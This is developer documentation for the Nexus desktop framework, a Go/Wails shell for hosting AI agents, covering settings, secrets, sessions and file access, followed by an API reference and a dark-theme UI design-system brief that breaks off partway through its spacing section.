Settings keys prefixed with shell. are stored in shell scope and shared across all agents. During config resolution, the framework checks agent scope first, then falls back to shell scope.

Common pattern: declare shell.api_key as a required secret on every agent that needs it. The user enters it once — the shell-scoped value resolves for all agents.

Settings: []desktop.SettingsField{
    {
        Key:      "shell.api_key",    // shell-scoped: shared
        Display:  "API Key",
        Type:     desktop.FieldString,
        Secret:   true,
        Required: true,
    },
    {
        Key:      "data_dir",         // agent-scoped: per-agent
        Display:  "Data Folder",
        Type:     desktop.FieldPath,
        Required: true,
    },
},

Secrets

Fields with Secret: true are stored in the OS keychain (macOS Keychain, Windows Credential Manager, Linux Secret Service) via go-keyring. The JSON settings file stores the sentinel "__keychain__" so the frontend knows a value exists without exposing it.

Required field gating

If an agent has required settings with no value and no default, the framework refuses to boot the engine. The frontend should check HasMissingRequired() and redirect to the settings page.

Config injection

${var} placeholders in config YAML are replaced with resolved settings values before the engine is created. The resolution order:

  1. Agent-scoped value for the key
  2. Shell-scoped value for the key (fallback)
  3. Default from the SettingsField definition
  4. If still unresolved and Required: true — boot fails with an error listing the missing keys

Step 6: Session management

The framework tracks session history per agent automatically.

How it works

Every bootAgent call creates a session index entry in ~/.nexus/desktop/sessions.json. Your agent contributes metadata via bus events:

EventPayloadPurpose
session.meta.title{ "title": "..." }Human-readable title for the session list
session.meta.preview{ ... }Agent-specific summary data (opaque)
session.meta.status{ "status": "..." }Explicit status change

The shell subscribes to these events on each engine’s bus and updates the index. The frontend receives updates via {agentID}:sessions.updated Wails events.

Session lifecycle

ActionMethodWhat happens
First selectEnsureAgentRunning(id)Creates engine, boots, creates session entry
New sessionNewSession(id)Stops current engine, boots fresh
RecallRecallSession(id, sid)Stops current, boots with RecallSessionID for history replay
DeleteDeleteSession(id, sid)Removes index entry + engine session dir

Cleanup

On startup, the framework removes sessions older than the configured retention period (default 30 days, configurable via session_retention_days shell setting) and reconciles orphaned engine directories.

Step 7: UI state persistence

The framework provides a mechanism for frontends to persist and restore UI state across sessions.

Save state

Emit ui.state.save from your frontend with an opaque state object:

bus.emit('ui.state.save', {
    state: {
        selectedTab: 'results',
        scrollPosition: 450,
        formData: { name: 'Jane', role: 'Engineer' }
    }
});

The shell writes this to ui-state.json in the engine session directory. Call this after meaningful UI interactions — not on every keystroke.

Restore state

On session recall, the shell emits ui.state.restore with the saved payload:

bus.on('ui.state.restore', (data) => {
    if (data.state) {
        applyUIState(data.state);
    }
});

Both events must be in the wails IO plugin’s accept/subscribe config:

nexus.io.wails:
  subscribe:
    - "ui.state.restore"
  accept:
    - "ui.state.save"

Step 8: File portal (optional)

If your agent works with files, the framework provides a standardized file access layer.

Declare directories

Add input_dir and optionally output_dir to your agent’s settings:

Settings: []desktop.SettingsField{
    {Key: "input_dir", Display: "Input Folder", Type: desktop.FieldPath, Required: true},
    {Key: "output_dir", Display: "Output Folder", Type: desktop.FieldPath},
},

Use shell methods

// List files in the agent's input directory.
const files = await go.desktop.Shell.ListFiles('my-agent', '*.pdf');

// Get the output directory (creates if needed).
const outDir = await go.desktop.Shell.OutputDir('my-agent');

// Copy a file into the input directory (drag-and-drop).
const dest = await go.desktop.Shell.CopyFileToInputDir('my-agent', '/path/to/file.pdf');

// Start watching for file changes.
go.desktop.Shell.WatchInputDir('my-agent');
window.runtime.EventsOn('my-agent:files.changed', () => {
    refreshFileList();
});

Bus events for plugins

Plugins that need file access use bus events instead of shell methods:

EventDirectionPurpose
io.file.output_dir.requestPlugin to shellAsk where to write outputs
io.file.output_dir.responseShell to pluginOutput directory path
io.file.selectedShell to pluginUser selected a file in the browser panel
session.file.createdPlugin to shellAgent wrote an output file

Adding multiple agents

Register additional agents in the Agents slice. Each gets its own engine, config, plugins, settings, and sessions:

Agents: []desktop.Agent{
    {
        ID:         "agent-a",
        Name:       "Agent A",
        ConfigYAML: configA,
        Factories:  factoriesA,
        Settings:   settingsA,
    },
    {
        ID:         "agent-b",
        Name:       "Agent B",
        ConfigYAML: configB,
        Factories:  factoriesB,
        Settings:   settingsB,
    },
},

The frontend receives scoped events per agent ("agent-a:nexus", "agent-b:nexus"). Create a bus helper per agent and switch the active one when the user navigates.

Using LLM providers

If your agent needs an LLM provider (like Anthropic), register it in the factories and reference the model in your config:

import "github.com/frankbardon/nexus/plugins/providers/anthropic"

Factories: map[string]func() engine.Plugin{
    "nexus.io.wails":      wailsio.New,
    "nexus.llm.anthropic": anthropic.New,
    "myapp.agent.worker":  myplugin.New,
},
core:
  models:
    default: quick
    quick:
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-6
      max_tokens: 4096

plugins:
  active:
    - nexus.llm.anthropic
    - nexus.io.wails
    - myapp.agent.worker

  nexus.llm.anthropic:
    api_key: "${shell.api_key}"

Your plugin requests LLM completions via the bus using the model registry — see the Model Registry documentation.

Building and running

# Development mode (live reload).
cd cmd/my-app
wails dev

# Production build.
wails build

The wails dev command watches for Go and frontend changes and rebuilds automatically. Production builds produce a single binary with embedded frontend assets.

Common patterns

Session metadata from plugins

Emit session.meta.title after completing meaningful work so the session list shows useful titles:

p.bus.Emit("session.meta.title", map[string]any{
    "title": "Analysis: Q4 Revenue Report",
})

For richer session list entries, emit session.meta.preview with agent-specific summary data:

p.bus.Emit("session.meta.preview", map[string]any{
    "itemCount": 5,
    "topResult": "Jane Smith",
    "score":     0.95,
})

Output files

When your plugin writes a file, emit session.file.created so the shell and frontend can track it:

p.bus.Emit("session.file.created", map[string]any{
    "path":     outputPath,
    "filename": filepath.Base(outputPath),
    "type":     "application/json",
})

Error handling in boot

If EnsureAgentRunning returns an error, the agent status is set to "error". Common causes:

  • Missing required settings — the framework lists which keys are missing. Redirect to the settings page.
  • Invalid config YAML — check ${var} placeholder names match the SettingsField.Key values.
  • Plugin init failure — check the plugin’s Init method for errors.

Next steps

Desktop Shell API Reference

Complete reference for the pkg/desktop/ framework types, shell methods, settings system, and event contracts.

Types

Shell

Top-level orchestrator. Pass to desktop.Run() to start the app.

type Shell struct {
    Title   string      // Window title
    Width   int         // Window width (default 900)
    Height  int         // Window height (default 720)
    Agents  []Agent     // Registered agents
    Assets  embed.FS    // Frontend assets; zero value uses built-in base template
}

Agent

Registration data for a single agent hosted by the shell.

type Agent struct {
    ID          string                            // Unique key: "my-agent"
    Name        string                            // Display name: "My Agent"
    Description string                            // Short blurb for agent selector
    Icon        string                            // Font Awesome class: "fa-solid fa-gear"
    ConfigYAML  []byte                            // Embedded Nexus config YAML
    Factories   map[string]func() engine.Plugin   // Custom plugin factories
    Settings    []SettingsField                   // User-configurable fields
}

AgentInfo

JSON-serializable projection of Agent returned by ListAgents().

type AgentInfo struct {
    ID          string `json:"id"`
    Name        string `json:"name"`
    Description string `json:"description"`
    Icon        string `json:"icon"`
    Status      string `json:"status"` // "idle", "booting", "running", "error"
}

AgentStatus

const (
    AgentStatusIdle    AgentStatus = "idle"
    AgentStatusBooting AgentStatus = "booting"
    AgentStatusRunning AgentStatus = "running"
    AgentStatusError   AgentStatus = "error"
)

SessionMeta

Shell-level metadata for a single engine session.

type SessionMeta struct {
    ID        string    `json:"id"`
    AgentID   string    `json:"agent_id"`
    Title     string    `json:"title"`
    Status    string    `json:"status"`     // "running", "completed", "failed"
    CreatedAt time.Time `json:"created_at"`
    UpdatedAt time.Time `json:"updated_at"`
    Preview   any       `json:"preview,omitempty"` // Agent-specific summary data
}

FileInfo

File entry returned by ListFiles().

type FileInfo struct {
    Name     string    `json:"name"`
    Path     string    `json:"path"`
    Size     int64     `json:"size"`
    Modified time.Time `json:"modified"`
    IsDir    bool      `json:"is_dir"`
}

Settings types

SettingsField

Declares a single configurable value for the settings UI.

type SettingsField struct {
    Key         string           // Machine key: "data_dir"
    Display     string           // Human label: "Data Folder"
    Description string           // Help text shown below the field
    Type        FieldType        // UI control type
    Secret      bool             // Stored in OS keychain, masked in UI
    Default     any              // Default value if unconfigured
    Required    bool             // Agent refuses to boot without this
    Validation  *FieldValidation // Optional constraints
    ConfigPath  string           // Template variable in config YAML
    Options     []SelectOption   // For FieldSelect only
}

FieldType

const (
    FieldString FieldType = iota // Single-line text input
    FieldPath                    // Text input + Browse button
    FieldText                    // Multiline textarea
    FieldNumber                  // Number input (optional min/max)
    FieldBool                    // Toggle switch
    FieldSelect                  // Dropdown
)

FieldValidation

type FieldValidation struct {
    Regex   string   `json:"regex,omitempty"`
    Min     *float64 `json:"min,omitempty"`
    Max     *float64 `json:"max,omitempty"`
    Message string   `json:"message,omitempty"` // Validation error message
}

SelectOption

type SelectOption struct {
    Value   string `json:"value"`
    Display string `json:"display"`
}

SettingsSchema

Top-level schema sent to the frontend for dynamic UI rendering.

type SettingsSchema struct {
    Shell  []SettingsFieldInfo            `json:"shell"`
    Agents map[string][]SettingsFieldInfo `json:"agents"`
}

SettingsFieldInfo

JSON projection of SettingsField sent to the frontend.

type SettingsFieldInfo struct {
    Key         string           `json:"key"`
    Display     string           `json:"display"`
    Description string           `json:"description,omitempty"`
    Type        string           `json:"type"`      // "string", "path", "text", "number", "bool", "select"
    Secret      bool             `json:"secret,omitempty"`
    Required    bool             `json:"required,omitempty"`
    Default     any              `json:"default,omitempty"`
    Validation  *FieldValidation `json:"validation,omitempty"`
    Options     []SelectOption   `json:"options,omitempty"`
}

Shell methods (Wails-bound)

All methods below are exposed to the frontend via Wails bindings. Call them from JavaScript as go.desktop.Shell.MethodName(args).

Agent lifecycle

MethodSignatureDescription
ListAgents() []AgentInfoAll registered agents with current status
EnsureAgentRunning(agentID string) errorLazy boot — creates and boots engine on first call, no-op if already running
StopAgent(agentID string) errorStop engine, tear down bus subs, mark idle

Session management

MethodSignatureDescription
NewSession(agentID string) errorStop current engine, boot fresh with new session
RecallSession(agentID, sessionID string) errorStop current, boot with RecallSessionID for history replay
ListSessions(agentID string) []SessionMetaSession metadata for agent, sorted most-recent first
DeleteSession(agentID, sessionID string) errorRemove from index + delete engine session dir. Cannot delete active session

OS integration

MethodSignatureDescription
PickFile(agentID, title, filter string) (string, error)Native file open dialog, rooted in agent’s input_dir
PickFolder(agentID, title string) (string, error)Native folder selection dialog
OpenExternal(target string) errorOpen URL in system browser or file in default app
RevealInFinder(path string) errorOpen file manager at path (Finder/Explorer/xdg-open)
Notify(title, body string) errorOS notification (placeholder — logs for now)

File portal

MethodSignatureDescription
ListFiles(agentID, filter string) ([]FileInfo, error)Non-recursive listing of agent’s input_dir, glob filter (e.g. "*.pdf")
OutputDir(agentID string) (string, error)Resolve agent’s output_dir, create if needed
CopyFileToInputDir(agentID, sourcePath string) (string, error)Copy file into input_dir (drag-and-drop). Returns dest path
WriteFileToInputDir(agentID, name, base64Data string) (string, error)Write base64-encoded file to input_dir (webview fallback for drag-and-drop)
WatchInputDir(agentID string)Start fsnotify watcher on input_dir. Emits {agentID}:files.changed on changes

RAG ingestion

MethodSignatureDescription
GetIngestState(agentID string) IngestStateActive + recent ingestion entries for an agent. Frontends call this on load, then subscribe to {agentID}:ingest.updated for pushes

IngestState has Active []IngestEntry and Recent []IngestEntry. Each IngestEntry carries Path, Namespace, Status (active / completed / failed), Chunks, SkippedCached, and Error. The shell tracks ingest activity by subscribing to rag.ingest (priority 10, before the ingest plugin runs the synchronous work) and rag.ingest.result. In-memory only — recent history resets on shell restart.

Settings

MethodSignatureDescription
GetSettingsSchema() SettingsSchemaFull schema for frontend rendering (shell + per-agent)
GetSettings() map[string]map[string]anyAll current values. Secrets show "__keychain__"
UpdateSetting(scope, key string, value any) errorWrite plaintext setting. Scope = agent ID or "shell"
UpdateSecret(scope, key, value string) errorWrite secret to OS keychain
DeleteSetting(scope, key string, secret bool) errorRemove plaintext setting or secret
HasMissingRequired() map[string][]stringMap of agentID to missing required setting keys

Event contracts

Bus events (plugin to shell)

Events emitted by agent plugins that the shell subscribes to internally. These do not need to be in the wails IO plugin’s subscribe/accept config — the shell installs its own bus subscriptions.

EventPayloadPurpose
session.meta.title{ "title": string }Set human-readable session title
session.meta.preview{ ... } (opaque)Agent-specific summary for session list
session.meta.status{ "status": string }Explicit status change ("completed", "failed", etc.)
io.session.endSignals session end, marks session as completed
io.file.output_dir.request{ "requestID": string }Plugin asks shell for the output directory path
session.file.created{ "path": string, "filename": string, ... }Plugin notifies that an output file was written

Bus events (shell to plugin)

EventPayloadPurpose
io.file.output_dir.response{ "requestID": string, "path": string, "error": string }Output directory path response

Bus events (frontend bridge)

These events cross the bus-to-frontend boundary and must be listed in the wails IO plugin’s subscribe/accept config.

EventDirectionConfig keyPurpose
ui.state.saveFrontend to busacceptFrontend persists UI state
ui.state.restoreBus to frontendsubscribeShell restores UI state on recall
Domain eventsEithersubscribe/acceptAgent-specific events (e.g. work.request, work.result)

Wails events (shell direct)

Events emitted by the shell directly via wailsruntime.EventsEmit, bypassing the bus bridge. Listen with window.runtime.EventsOn.

EventPayloadPurpose
{agentID}:sessions.updatedJSON string of []SessionMetaSession list changed for agent
{agentID}:files.changedFiles added/removed in watched input_dir
{agentID}:ingest.updatedJSON string of IngestStateRAG ingestion started or completed (active + recent history)

Settings store

Persistence

  • Plaintext: ~/.nexus/desktop/settings.json — JSON file with { version, shell: {}, agents: {} } structure.
  • Secrets: OS keychain via go-keyring, service name "nexus-desktop", account "{scope}.{key}".
  • Sentinel: Secret fields store "__keychain__" in the JSON file so the frontend knows a value exists without exposing it.

Scope resolution

When resolving a ${var} placeholder in config YAML:

  1. Check agent scope for the key
  2. Fall back to shell scope
  3. Fall back to SettingsField.Default
  4. If still unresolved and Required: true, boot fails

Keys prefixed with shell. (e.g. shell.api_key) are always looked up in shell scope directly.

Built-in shell settings

KeyTypeDefaultDescription
session_rootpath~/.nexus/sessionsSession storage directory
session_retention_daysnumber30Days to keep sessions before cleanup (1–365)
shared_data_dirpathShared directory accessible to all agents

Session index

Persisted at ~/.nexus/desktop/sessions.json.

Maintenance (runs on startup)

  • Cleanup: Removes sessions older than session_retention_days from both the index and disk.
  • Reconcile: Adopts orphaned engine directories (on disk but not in index) if newer than the retention cutoff. Removes stale index entries whose directories no longer exist on disk.

File watcher

Single-directory watcher using fsnotify. Debounced at 200ms.

  • Only fires on Create, Remove, and Rename operations.
  • Calling Watch(newDir) automatically unwatches the previous directory.
  • Calling Watch("") stops watching without starting a new watch.
  • Notifications arrive as {agentID}:files.changed Wails events.

Config resolution

resolveConfig() performs ${key} placeholder substitution on raw YAML bytes before engine creation. For each SettingsField:

  1. If ${field.Key} appears in the YAML, resolve it
  2. Shell-prefixed keys (shell.xxx) look up in shell scope directly
  3. Other keys check agent scope, then fall back to shell scope
  4. Unresolved required fields are collected and returned as an error
  5. Unresolved optional fields are left as literal ${key} — the plugin sees the placeholder string and can handle or ignore it

Nexus Desktop Design System — Priming Brief

Paste this whole document into Claude Design as a system/priming prompt. It describes the existing desktop UI system so any new screens or components remain consistent with what’s already shipped.

What you are working on

You are designing UI for Nexus desktop apps — Go/Wails-based native apps that embed AI agents. Each desktop app hosts one or more “agents” (domain-specific AI workflows) in a consistent shell. Examples in the repo: a multi-agent reference app (hello-world + staffing-match) and a single-agent phased workflow app (tech lead).

Your job is to design UI that slots into this existing system without reinventing it. Prefer existing primitives and class recipes over new ones.

Tech stack (non-negotiable)

  • Tailwind CSS via CDN (https://cdn.tailwindcss.com)
  • DaisyUI 4 as the component layer (https://cdn.jsdelivr.net/npm/daisyui@4/dist/full.min.css)
  • Font Awesome 6.5.1 (free, solid style by default: fa-solid)
  • AlpineJS 3 for state and reactivity (Alpine.store, x-data, x-show, x-for, x-transition, x-model)
  • No build step. Everything ships as a single index.html per app with inline <script> and <style>.
  • No other libraries. No React, Vue, Svelte, or component kits. No CSS-in-JS.

Always use DaisyUI utility classes first (btn, card, input, alert, badge, collapse, loading, textarea, toggle, select). Fall back to raw Tailwind only for layout, spacing, and DaisyUI gaps.

Theme

  • Dark theme is default and primary. <html data-theme="dark">. Light mode is not currently supported — don’t design light-first mockups.
  • Semantic color tokens come from DaisyUI: primary, secondary, accent, success, warning, error, info, base-100 (app bg), base-200 (panel bg), base-300 (borders/hover), base-content (text).
  • Opacity is the workhorse for hierarchy. Use text-base-content at /40 /50 /60 /80 instead of introducing new grays. Example: section headers use opacity-50, body meta uses opacity-40.
  • Primary color is used sparingly — reserved for active nav items, primary CTAs, and “this is the focused thing” accents. Common active-state pattern: bg-primary/15 text-primary, icon slot bg-primary/20.
  • Status colors: success = done/running-healthy, warning = booting/attention, error = failed/destructive, info = neutral context, primary = active/pulsing.

Typography

  • Base font = Tailwind default sans-serif. Monospace (font-mono) is used for file paths, IDs, token counts, and code/specs.
  • Section headers: text-xs font-semibold uppercase tracking-wider opacity-50 — used for “SESSIONS”, “ARTIFACTS”, “FILES”, “GENERAL”, etc.
  • Page title: font-semibold text-base leading-tight in headers, text-xl font-bold for phase/view titles in main content.
  • Labels: text-sm font-medium for form labels; text-xs opacity-50 for field descriptions/helper text.
  • Body text: text-sm default; text-xs for meta, timestamps, counts.
  • Never use custom font sizes in px. Stick to Tailwind’s text-[10px], text-xs, text-sm, text-base, text-lg, text-xl.

Layout archetypes

Two shell archetypes exist. Pick the one that matches the app and keep within it.

Archetype A — Multi-agent shell (horizontal)

┌─────┬──────────┬───────────────────┬────────┐
│ Nav │ Sessions │ Main              │ Files  │
│ 64↔ │  256px   │ flex-1            │ 288px  │
│220px│ (cond.)  │                   │(toggle)│
└─────┴──────────┴───────────────────┴────────┘
  • Left nav (w-16 collapsed ↔ w-[220px] expanded, bg-base-200 border-r border-base-300): logo + agent list + settings. Each agent row is an icon with a status dot and an optional label. Active agent uses bg-primary/15 text-primary.
  • Sessions panel (w-64, bg-base-200/50 border-r border-base-300): visible when an agent is active. Conditional via x-show.
  • Main (flex-1): per-agent content. Header on top with title, description, and inline action buttons. The header is draggable (wails-drag).
  • File browser (w-72, bg-base-200/50 border-l border-base-300): toggleable right panel rooted in the agent’s input_dir.

Archetype B — Single-agent phased shell (vertical)

┌──────────────────────────────────────────┐
│  ① ━ ② ━ ③ ━ ④ ━ ⑤     [sessions] [⚙]  │  ← phase stepper bar
├──────────┬─────────────────┬─────────────┤
│ Sessions │  Main content   │ (optional)  │
│ 224px    │  flex-1         │             │
│ (toggle) │                 │             │
├──────────┴─────────────────┴─────────────┤
│ Artifact tree (224px, left)              │
└──────────────────────────────────────────┘
  • Phase stepper bar on top (bg-base-200 border-b border-base-300 px-6 py-3, also wails-drag): numbered step chips with connector lines. Active step = bg-primary text-primary-content, completed = bg-success/20 text-success with ✓, future = text-base-content/40 cursor-default.
  • Artifact tree (w-56): grouped list of generated artifacts (documents, epics → stories nested, notes, timeline, comms). Each group has an uppercase section header.
  • Main switches content per active phase via x-show="$store.reqflow.phase === N".

Shell chrome (apply to both archetypes)

  • Dragging the window uses the class wails-drag (with CSS --wails-draggable: drag;). Put it on the topmost header bar.
  • Body: bg-base-100 text-base-content, overflow-hidden, root is h-screen flex (horizontal shells) or h-screen flex flex-col (vertical shells).
  • Panels: bg-base-200/50, borders via border-base-300. Don’t invent new panel backgrounds.
  • Transitions for panel enter/exit:
    x-transition:enter="transition ease-out duration-150"
    x-transition:enter-start="opacity-0 -translate-x-2"
    x-transition:enter-end="opacity-100 translate-x-0"
    
    150ms ease-out, 8px slide + fade. Use translate-x-2 for right-side panels entering from the right.

Component recipes (memorize these)

Buttons

  • Primary action: btn btn-primary btn-sm
  • Secondary/tertiary: btn btn-ghost btn-sm (common) or btn btn-outline btn-sm
  • Icon-only square: btn btn-ghost btn-sm btn-square (toolbar), btn btn-ghost btn-xs btn-square (in-row)
  • Destructive inline: btn btn-ghost btn-xs btn-square hover:text-error or ... text-error
  • Inside a button: icon first (<i class="fa-solid fa-... text-xs">), then a label span. Loading state swaps icon for <span class="loading loading-spinner loading-xs">.
  • Size ladder: btn-xs (dense toolbars, in-row actions) → btn-sm (default) → btn (rare, page-level CTA).

Reused across the agent nav, session list, artifact tree, and file list:

<button
  class="w-full flex items-center gap-3 px-3 py-2.5 rounded-lg transition-colors text-left group"
  :class="isActive
    ? 'bg-primary/15 text-primary'
    : 'hover:bg-base-300 text-base-content/70 hover:text-base-content'">
  <div class="w-8 h-8 rounded-lg flex items-center justify-center"
       :class="isActive ? 'bg-primary/20' : 'bg-base-300'">
    <i class="fa-solid fa-icon text-sm"></i>
  </div>
  <div class="min-w-0 flex-1">
    <div class="text-sm font-medium truncate">Label</div>
    <div class="text-xs opacity-50 truncate">Sub-label</div>
  </div>
</button>

Status dots

<div class="w-2.5 h-2.5 rounded-full border-2 border-base-200"
     :class="{
       'bg-success': status === 'running',
       'bg-warning animate-pulse': status === 'booting',
       'bg-error': status === 'error'
     }"></div>

Small-size variant for list rows: w-1.5 h-1.5 rounded-full.

Cards

<div class="card bg-base-200 border border-base-300 hover:border-primary/40 transition-colors">
  <div class="card-body p-4">...</div>
</div>

Badges

  • Count/label: badge badge-sm
  • Semantic: badge-success, badge-warning, badge-error, badge-primary, badge-ghost
  • Tiny inline: badge badge-xs

Inputs

  • Text: input input-bordered input-sm w-full
  • Textarea: textarea textarea-bordered w-full text-sm (add min-h-[7rem] for multi-line prompts)
  • Select: select select-bordered select-sm w-full
  • Toggle: input type="checkbox" class="toggle toggle-primary toggle-sm"
  • Secret (password): same input, add an eye-toggle button absolutely positioned right (absolute right-2 top-1/2 -translate-y-1/2 btn btn-ghost btn-xs btn-circle).
  • Invalid/required: add input-warning class when the field is required and empty.

Alerts

  • Error: alert alert-error py-2 text-sm with leading <i class="fa-solid fa-triangle-exclamation"></i>
  • Warning/missing-config: alert alert-warning
  • Inline error under a form: text-xs text-warning with <i class="fa-solid fa-circle-exclamation">

Empty states

<div class="flex items-center justify-center h-full">
  <div class="text-center max-w-sm">
    <div class="w-16 h-16 rounded-2xl bg-primary/10 flex items-center justify-center mx-auto mb-4">
      <i class="fa-solid fa-icon text-primary text-2xl"></i>
    </div>
    <h2 class="text-lg font-semibold mb-1">Short headline</h2>
    <p class="text-sm opacity-60">One-sentence explainer with a call to action.</p>
  </div>
</div>

Compact variant for narrow panels: drop the icon tile to text-2xl opacity-20, text to text-xs opacity-40, center vertically in the panel.

Loading states

  • Inline (inside a button): loading loading-spinner loading-xs
  • Panel-level: loading loading-spinner loading-sm opacity-40
  • Hero / boot overlay: loading loading-spinner loading-lg text-primary centered with a subtitle
  • “Thinking…” dots: loading loading-dots loading-sm
  • Full-screen boot overlay: absolute inset-0 flex items-center justify-center bg-base-100/80 z-10

Collapsible sections (settings)

DaisyUI collapse: collapse collapse-arrow bg-base-200 border border-base-300, with <input type="checkbox" checked> inside to drive state. Title row: collapse-title font-semibold flex items-center gap-2 with a leading icon.

Drag-and-drop

Drop overlay (appears while dragging):

<div class="absolute inset-0 z-20 bg-primary/10 border-2 border-dashed border-primary rounded-lg flex items-center justify-center pointer-events-none">
  <div class="text-center">
    <i class="fa-solid fa-cloud-arrow-up text-primary text-2xl mb-2"></i>
    <p class="text-sm font-medium text-primary">Drop files here</p>
  </div>
</div>

Persistent drop zone (phase 1 import style):

<div class="border-2 border-dashed border-base-300 rounded-xl p-8 text-center transition-all"
     :class="{ 'drop-active': dragOver }">
  <i class="fa-solid fa-cloud-arrow-up text-4xl text-base-content/20 mb-4 block"></i>
  <p class="text-base-content/40 mb-3">Drop markdown files here</p>
  <button class="btn btn-sm btn-primary">Browse Files</button>
</div>

Chat messages (agent conversation)

  • User: right-aligned, bg-primary text-primary-content bubble, no avatar or avatar on the right
  • Assistant: left-aligned, bg-base-200 bubble, avatar is w-8 h-8 rounded-full bg-primary/20 with fa-robot icon
  • Note/annotation: bg-warning/10 border border-warning/20 bubble, fa-sticky-note avatar
  • Max-width bubble: max-w-[75%] rounded-lg px-4 py-3
  • Auto-scroll on new message via x-effect="$refs.chatScroll && ($refs.chatScroll.scrollTop = $refs.chatScroll.scrollHeight)"

Interaction rules

  • Hover reveal: destructive or secondary actions inside list rows use opacity-0 group-hover:opacity-100 transition-opacity. Never show delete buttons unconditionally.
  • Keyboard: chat textareas support @keydown.enter.meta="send()" and @keydown.enter.ctrl="send()" (Cmd/Ctrl+Enter). Show the hint as text-xs opacity-30 below the input.
  • Required-field gating: when required settings are missing, show a alert alert-warning banner at the top of settings, and mark each missing field with an inline text-xs text-warning “Required” hint and input-warning class.
  • Restart nudge: when a running agent has dirty settings, show badge badge-warning badge-xs “restart required” on the section and a btn btn-warning btn-sm at the bottom.

Data flow (so designs match reality)

  • All agent domain communication flows through a scoped event bus bridge (createBus(agentID)), not Wails-bound methods. Your designs should assume async, event-driven updates — never blocking waits.
  • The shell owns: agent lifecycle (boot/stop), sessions, settings, file dialogs, file browser, drag-and-drop.
  • The agent owns: its own UI section, its own Alpine store, its own input/output events.
  • State that survives session recall lives in ui.state.save/ui.state.restore events — designs should gracefully rehydrate partial state.

What NOT to do

  • Don’t introduce a new CSS framework, component library, or JS framework. Alpine + Tailwind + DaisyUI is the entire toolbox.
  • Don’t add light mode without checking first — everything assumes dark.
  • Don’t invent new named colors. Stick to the DaisyUI semantic tokens.
  • Don’t use raw gray scales (text-gray-500). Use opacity-* on text-base-content.
  • Don’t add routing. Views switch via x-show against a single activeView string.
  • Don’t design multi-page flows with URLs. Everything is SPA-style, single index.html.
  • Don’t add modals/dialogs casually — the existing apps don’t use them. Use inline collapsibles, side panels, or dedicated views instead. If you need a confirm, use inline “Are you sure?” patterns.
  • Don’t design for mobile or narrow widths. Desktop only, min width roughly 900×720.
  • Don’t add animations beyond DaisyUI animate-pulse and the existing 150ms panel transitions. No hero scroll effects, no motion beyond utility.
  • Don’t add icons from other sets — Font Awesome 6 solid only.

When proposing something new

If your design needs a component not listed above, say so explicitly and propose either (a) a DaisyUI component that isn’t yet used, or (b) a raw-Tailwind recipe that matches the existing visual weight. Flag it as a net-new primitive so we can decide whether to adopt it.

Quick reference — the 10 classes you’ll use constantly

PurposeClass
Active list itembg-primary/15 text-primary
Hover list itemhover:bg-base-300 text-base-content/70 hover:text-base-content
Panel backgroundbg-base-200/50
Panel borderborder-base-300
Section headertext-xs font-semibold uppercase tracking-wider opacity-50
Meta texttext-xs opacity-50
Primary CTAbtn btn-primary btn-sm
Icon buttonbtn btn-ghost btn-sm btn-square
Cardcard bg-base-200 border border-base-300 hover:border-primary/40
Empty state icon tilew-16 h-16 rounded-2xl bg-primary/10

Nexus Desktop Design System — Full Reference

Comprehensive reference for the Nexus desktop UI system. Derived from the shipped frontends at cmd/desktop/frontend/dist/index.html and cmd/techlead/frontend/dist/index.html, plus the shell framework at pkg/desktop/. Pair with design-system-brief.md for a shorter priming version.


1. Scope and context

Nexus ships desktop apps via Wails v2 — each app is a Go binary wrapping a webview. The webview loads a single index.html containing the entire UI. Two kinds of apps exist today:

  • Multi-agent shells (reference: cmd/desktop) — host several domain-specific agents under one roof, each with its own UI section.
  • Single-agent workflow apps (reference: cmd/techlead) — one agent, one workflow, typically organized as a phased progression.

Both share the same visual language, component vocabulary, and tech stack. A designer working on either should be able to port patterns between them without friction.

Integration with the engine

The UI does not directly “call” the agent. All domain communication flows through a scoped event bus bridge (createBus(agentID)) that wraps Wails event APIs. Every design should assume:

  • Actions emit bus events; results arrive as inbound bus events (asynchronous).
  • The shell (not the agent) owns file dialogs, the file browser, settings, and session management — these appear in UI via Wails-bound methods on the shell.
  • UI state that must survive session recall is saved via ui.state.save events and rehydrated via ui.state.restore.

What doesn’t exist yet

  • No light theme. Everything assumes data-theme="dark".
  • No modals or dialog components are in use. New screens should avoid them unless explicitly requested.
  • No routing library. Views switch via Alpine stores against activeView/phase number.
  • No component library beyond DaisyUI. No icon set beyond Font Awesome 6 solid.
  • No responsive/mobile layouts. Min window size ~900×720.

2. Tech stack

LayerChoiceSource
CSS frameworkTailwind CSShttps://cdn.tailwindcss.com
Component layerDaisyUI 4https://cdn.jsdelivr.net/npm/daisyui@4/dist/full.min.css
IconsFont Awesome 6.5.1 Freehttps://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css
JS reactivityAlpineJS 3https://cdn.jsdelivr.net/npm/alpinejs@3/dist/cdn.min.js
Shell runtimeWails v2Go module github.com/wailsapp/wails/v2
Desktop chromeSystem native (macOS/Windows/Linux) via Wails

Everything is CDN-loaded; there is no bundler, no npm install, no TypeScript, no build step. A new frontend is one self-contained index.html.


3. Design tokens

3.1 Color tokens (DaisyUI semantic)

Never introduce raw gray scales. Use DaisyUI’s semantic tokens.

TokenPurposeTypical use
primaryBrand / active / focusActive nav, primary CTA, selected item
secondaryAlt accentStory IDs, tertiary badges
accentThird accentEpic IDs
successHealthy / completeStatus dots (running healthy), completed phase checks
warningAttention / bootStatus dot (booting), unsaved marker, required-field highlight
errorFailure / destructiveError alerts, failed status, destructive hover
infoNeutral contextDocument icons in artifact tree
base-100App backgroundbg-base-100 on body and main content
base-200Panel backgroundNav sidebars, session panel, file panel, cards
base-300Borders, hover surfacesborder-base-300, hover:bg-base-300
base-contentPrimary textBody copy, labels

Opacity for hierarchy — the conventional ladder:

TokenWhere used
text-base-content (100%)Primary body text, button labels
text-base-content/80Body text one step de-emphasized
text-base-content/70Unfocused nav/list item labels
text-base-content/60Secondary prose, helper text
opacity-50Meta text, section headers, non-active icons
opacity-40Timestamps, sub-counts
opacity-30Path hints, “not configured” text
opacity-20Empty state background icons, disabled glyphs

Common /N accent patterns:

PatternMeaning
bg-primary/10Background wash for empty state icon tiles
bg-primary/15 text-primaryActive nav/list row state
bg-primary/20Active icon slot background, avatars
border-primary/40Hover border on cards
bg-primary/5Drag-over wash (very subtle)
bg-warning/10 border-warning/20Note/annotation bubbles
bg-warning/30Completed-phase step marker circle
bg-success/20 text-successCompleted-phase step button

3.2 Spacing scale

Follows Tailwind’s default 4px-based scale. Conventions observed:

ContextPadding
